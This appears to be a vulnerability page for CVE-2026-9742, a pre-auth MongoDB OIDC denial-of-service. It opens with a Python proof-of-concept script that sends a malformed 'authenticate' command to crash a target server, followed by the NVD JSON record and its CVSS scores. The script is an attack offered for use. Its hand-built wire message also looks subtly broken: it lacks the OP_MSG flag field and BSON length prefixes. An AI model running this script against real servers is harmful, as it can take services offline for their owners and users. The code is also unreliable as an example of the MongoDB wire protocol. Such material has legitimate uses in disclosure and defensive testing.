CVE-2026-9742

import socket import struct def exploit_cve_2026_9742(target_host, target_port=27017): """ PoC for CVE-2026-9742: MongoDB OIDC Authentication DoS This PoC demonstrates sending a malformed authenticate command with specific 'mechanism' parameter values to trigger server crash. """ try: # Connect to MongoDB sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_host, target_port)) # MongoDB Wire Protocol Message Header (16 bytes) message_length = 0 request_id = 1 response_to = 0 op_code = 2013 # OP_MSG # Construct OP_MSG with authenticate command # Malformed mechanism parameter to trigger crash authenticate_cmd = b'\x00' # section type authenticate_cmd += b'\x0bauthenticate' # command name authenticate_cmd += b'\x00' # null terminator authenticate_cmd += b'\x011\x00' # version: 1 authenticate_cmd += b'\x00' authenticate_cmd += b'\x0bmechanism' # mechanism field authenticate_cmd += b'\x00' # Malformed mechanism value - triggers crash authenticate_cmd += b'\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88' authenticate_cmd += b'\x00' authenticate_cmd += b'\x00' # document end # Calculate total message length header = struct.pack('<i', message_length) header += struct.pack('<i', request_id) header += struct.pack('<i', response_to) header += struct.pack('<i', op_code) # Calculate correct length full_message = header + authenticate_cmd message_length = len(full_message) header = struct.pack('<i', message_length) + struct.pack('<i', request_id) + struct.pack('<i', response_to) + struct.pack('<i', op_code) full_message = header + authenticate_cmd # Send the malicious packet sock.send(full_message) print(f"[+] Malicious authenticate command sent to {target_host}:{target_port}") print("[+] If OIDC is enabled, this may cause server crash") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": target = "127.0.0.1" exploit_cve_2026_9742(target)

{"cve": {"id": "CVE-2026-9742", "sourceIdentifier": "[email protected]", "published": "2026-06-09T23:17:03.727", "lastModified": "2026-06-10T19:43:28.857", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "When OIDC authentication is enabled in configuration, clients may set specific values in the \"mechanism\" parameter of the \"authenticate\" command that lead to server crash. The authenticate command is accessible to unauthenticated clients, leading to pre-auth denial-of-service in affected product configurations."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1287"}]}], "references": [{"url": "https://jira.mongodb.org/browse/SERVER-124183", "source": "[email protected]"}]}}